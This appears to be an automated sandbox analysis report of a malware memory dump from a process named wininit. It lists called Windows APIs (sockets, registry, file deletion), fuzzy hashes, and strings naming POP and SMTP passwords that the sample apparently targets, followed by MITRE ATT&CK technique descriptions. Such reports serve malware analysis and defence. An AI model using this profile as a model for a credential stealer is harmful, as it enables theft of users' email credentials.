Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction ID: 89a273ea7bbabd9d74fc824e7d15e3b55fbc967ee531cdb223f62f0d5b23fb21
Opcode Fuzzy Hash: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction Fuzzy Hash: 60D0C9969142082A9B24FEB14E49CBB76EC9A48104B400AA8FC05E2180FD6ADF5482A5

Function 00404EEA Relevance: 1.5, APIs: 1, Instructions: 16networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,00000000,00000000,00000000), ref: 00404F07

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction ID: 973ad19c2726000f66dbac5dad6f1ecaf56acd36cc9bde1755ab86a88c27f217
Opcode Fuzzy Hash: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction Fuzzy Hash: F8D09231140209BBEF016E55EC05BAA3B69EF44B54F10C026BA18991A1DB31A9219A98

Function 00403BD0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

MoveFileExW.KERNELBASE(00000000,00412C16,?,00000000,C9143177,00000000,00000000,?,004040B6,00000000,00412C16,00000001,?,00412C16,00000000,00000000), ref: 00403BEB

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction ID: 27267517ebbd606c040c475238707358b0366275ca1c9c11413b547716cf2561
Opcode Fuzzy Hash: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction Fuzzy Hash: 5AC04C7500424C7FEF026EF19D05C7B3F5EEB49618F448825BD18D5421DA37DA216664

Function 00404DF3 Relevance: 1.5, APIs: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00404E08

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction ID: edfb6e6a7b2c2d2c81179f298452045bbfcf768a57aceb16f5d93ae35c4528ea
Opcode Fuzzy Hash: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction Fuzzy Hash: 6EC08C32AA421C9FD750AAB8AD0FAF0B7ACD30AB02F0002B56E1DC60C1E550582906E2

Function 0040427D Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,00002006,00000000,CAC5886E,00000000,00000000,?,00412C3B,00000000,00000000,?), ref: 00404297

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction ID: e837d3b0865cda380a04769d40cc561620ee701a25bf2a33446201ee5459e2a9
Opcode Fuzzy Hash: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction Fuzzy Hash: A9C092B054430C3EFA102EF29D4AD3B3A8EEB41648B008435BE08E9096E977DE2061A8

Function 00404A19 Relevance: 1.5, APIs: 1, Instructions: 13registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?,00000009,DB552DA5,00000000,00000000), ref: 00404A35

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction ID: b1d3f25f69c2166d3d07fcddbc0993e3b6974a4a806b5379996ceb22213e89af
Opcode Fuzzy Hash: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction Fuzzy Hash: 5BC012311802087FFF012EC1CC02F483E1AAB08B55F044011BA18280E1EAB3A2205658

Function 00403C08 Relevance: 1.5, APIs: 1, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,00000000,DEAA357B,00000000,00000000), ref: 00403C1D

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction ID: 5639c68ad781144a2d68ff400f656d3d2c658e81fc8059c2e96e04b5885f7932
Opcode Fuzzy Hash: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction Fuzzy Hash: EDB092B04082093EAA013EF59C05C3B3E4DDA4010870048257D08E6111EA36DF1010A8

Function 00402C1F Relevance: 1.5, APIs: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?,00000000,E811E8D4,00000000,00000000), ref: 00402C34

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction ID: cd53f9395925d29cf68d66af6aae64644fca58afce9bbcd5edfe8b9605b00cd0
Opcode Fuzzy Hash: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction Fuzzy Hash: C9B092B00082083EAA002EF59C05C7F3A4DDA4410874044397C08E5411F937DE1012A5

Function 00403BEF Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00403F8D,00000000,DA6AE59A,00000000,00000000,?,00403F8D,00000000), ref: 00403C04

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction ID: 1ebc74916e7009c76bd4f38d62a0f1d2d6d24e136e2668fcc01a71b48f24aa02
Opcode Fuzzy Hash: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction Fuzzy Hash: FDB092B00442087EEE002EF1AC05C7B3F4EDA4410970044257E0CE5012E937DF1010B4

Function 00403BB7 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00413D1F,00000000,C6808176,00000000,00000000,?,00403D58,00413D1F,?,00403C6D,00413D1F,?,00413D1F,00000000), ref: 00403BCC

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction ID: 12c622a32f4ce0ce5baf48af10e49973588d22e73ecb696d4958cc4f11b8a016
Opcode Fuzzy Hash: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction Fuzzy Hash: D2B092B05042083EAE012EF19C05C7B3A6DCA40148B4088297C18E5111ED36DE5050A4

Function 004049FF Relevance: 1.5, APIs: 1, Instructions: 11registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNELBASE(00000000,00000009,D980E875,00000000,00000000,?,00404A44,?,?,00404AC6,?), ref: 00404A15

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction ID: 75bcc15c4d71fff8019d16f1d9debb39272117f3de5fdcc107556e34aff8dcac
Opcode Fuzzy Hash: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction Fuzzy Hash: 7CC092312843087AEA102AE2EC0BF093E0D9B41F98F500025B61C3C1D2E9E3E6100099

Function 00403B64 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

PathFileExistsW.KERNELBASE(?,00000002,DC0853E1,00000000,00000000), ref: 00403B7A

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction ID: 8bd75bc93bbce64143a6918826fd0663652f5dbe7ab318808702af7ec0dd126f
Opcode Fuzzy Hash: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction Fuzzy Hash: F4C0923028830C3BF9113AD2DC47F197E8D8B41B99F104025B70C3C4D2D9E3A6100199

Function 00404ED4 Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000000,00000000,00000FD0,00000000), ref: 00404EE2

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction ID: cd18cecc4e97c8ae47002f9e4185d290addc31a5a75b3629954b28b764c5713b
Opcode Fuzzy Hash: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction Fuzzy Hash: 6EC0483204020CFBCF025F81EC05BD93F2AFB48760F448020FA1818061C772A520AB88

Function 00404DE5 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00404EB0), ref: 00404DEB

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction ID: a7719220e23c04317d26723f710bfa070304820e6d91f105ed764937a1a9d613
Opcode Fuzzy Hash: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction Fuzzy Hash: F4A0113000020CEBCB002B82EE088C83F2CEA882A0B808020F80C00020CB22A8208AC8

Function 00403F9E Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(0041028C,00000000,00008000,00000000,F53ECACB,00000000,00000000,00000000,?,0041028C,00000000), ref: 00403FBA

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction ID: 31a36aa897feec3f2575a3818ba469950b8b51fe97d839facc05156de448dee4
Opcode Fuzzy Hash: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction Fuzzy Hash: 9CC08C3200613C32893069DBAC0AFCB7E0CDF036F4B104021F50C6404049235A0186F8

Function 00403C40 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,FBCE7A42,00000000,00000000,?,00404344,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00403C55

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction ID: f60e35b61e15034c3e7e350ceef27d37971f1a6745175d5827dd76012fe363c0
Opcode Fuzzy Hash: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction Fuzzy Hash: 70B092B01182087EAE006AF29C05C3B3E4ECA4060874094267C08E5451F937DF2014B4

Function 00406472 Relevance: 1.3, APIs: 1, Instructions: 12sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(?,00000000,CFA329AD,00000000,00000000), ref: 00406487

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction ID: 8d08050a97d9600d7c0dbf2a5018eca7d85037e123ae0040efa9f3f0a7dd9c36
Opcode Fuzzy Hash: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction Fuzzy Hash: FBB092B08082083EEA002AF1AD05C3B7A8DDA4020870088257C08E5011E93ADE1150B9

Function 004058EA Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

StrStrA.KERNELBASE(?,?,00000002,C5C16604,00000000,00000000), ref: 00405903

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction ID: d5512459148ba4630ff55d530b0b04b7b8071b1588054f6e556ec5c474e97d6d
Opcode Fuzzy Hash: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction Fuzzy Hash: 82C04C3118520876EA112AD19C07F597E1D9B45B68F108425BA1C6C4D19AB3A6505559

Function 00405924 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

StrStrW.KERNELBASE(?,?,00000002,D6865BD4,00000000,00000000), ref: 0040593D

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction ID: 5151f40d070928696ad3a3dfeafe9e6e8178c5ee17630b0dfe73cc98556a196c
Opcode Fuzzy Hash: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction Fuzzy Hash: 8FC04C311842087AEA112FD2DC07F587E1D9B45B58F104015B61C2C5D1DAB3A6105659

Non-executed Functions

Function 0040434D Relevance: 15.1, APIs: 10, Instructions: 135memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040438F
CoCreateInstance.OLE32(00418EC0,00000000,00000001,00418EB0,?), ref: 004043A9
VariantInit.OLEAUT32(?), ref: 004043C4
SysAllocString.OLEAUT32(?), ref: 004043CD
VariantInit.OLEAUT32(?), ref: 00404414
SysAllocString.OLEAUT32(?), ref: 00404419
VariantInit.OLEAUT32(?), ref: 00404431

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: InitVariant$AllocString$CreateInitializeInstance
String ID:
API String ID: 1312198159-0
Opcode ID: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction ID: 6cc2ba4480fbb4d68866773ab5e076051400aafb7d2546f6199fc19a864342a4
Opcode Fuzzy Hash: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction Fuzzy Hash: 9A414C71A00609EFDB00EFE4DC84ADEBF79FF89314F10406AFA05AB190DB759A458B94

Function 0040D069 Relevance: 12.6, Strings: 10, Instructions: 138COMMON

Download Yara Rule

Strings

PopServer, xrefs: 0040D099
PopPort, xrefs: 0040D0A7
PopPassword, xrefs: 0040D0D0
SmtpAccount, xrefs: 0040D0FA
SmtpServer, xrefs: 0040D0DC
Technology, xrefs: 0040D08D
EmailAddress, xrefs: 0040D074
SmtpPort, xrefs: 0040D0EB
SmtpPassword, xrefs: 0040D117
PopAccount, xrefs: 0040D0B6

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID:
String ID: EmailAddress$PopAccount$PopPassword$PopPort$PopServer$SmtpAccount$SmtpPassword$SmtpPort$SmtpServer$Technology
API String ID: 0-2111798378
Opcode ID: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction ID: 091e628055053f5eef329adcdd4db079f25726ad560f051e033024c376855220
Opcode Fuzzy Hash: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction Fuzzy Hash: AE414EB5941218BADF127BE6DD42F9E7F76EF94304F21003AF600721B2C77A99609B48

Function 0040317B Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction ID: 125f84157e295c2adc52e6f8c9cb261871d96e12da6c9e12f7e31892ee598d11
Opcode Fuzzy Hash: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction Fuzzy Hash: 0B01A272A10204ABDB21DF59C885E6FF7FCEB49761F10417FF804A7381D639AE008A64

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
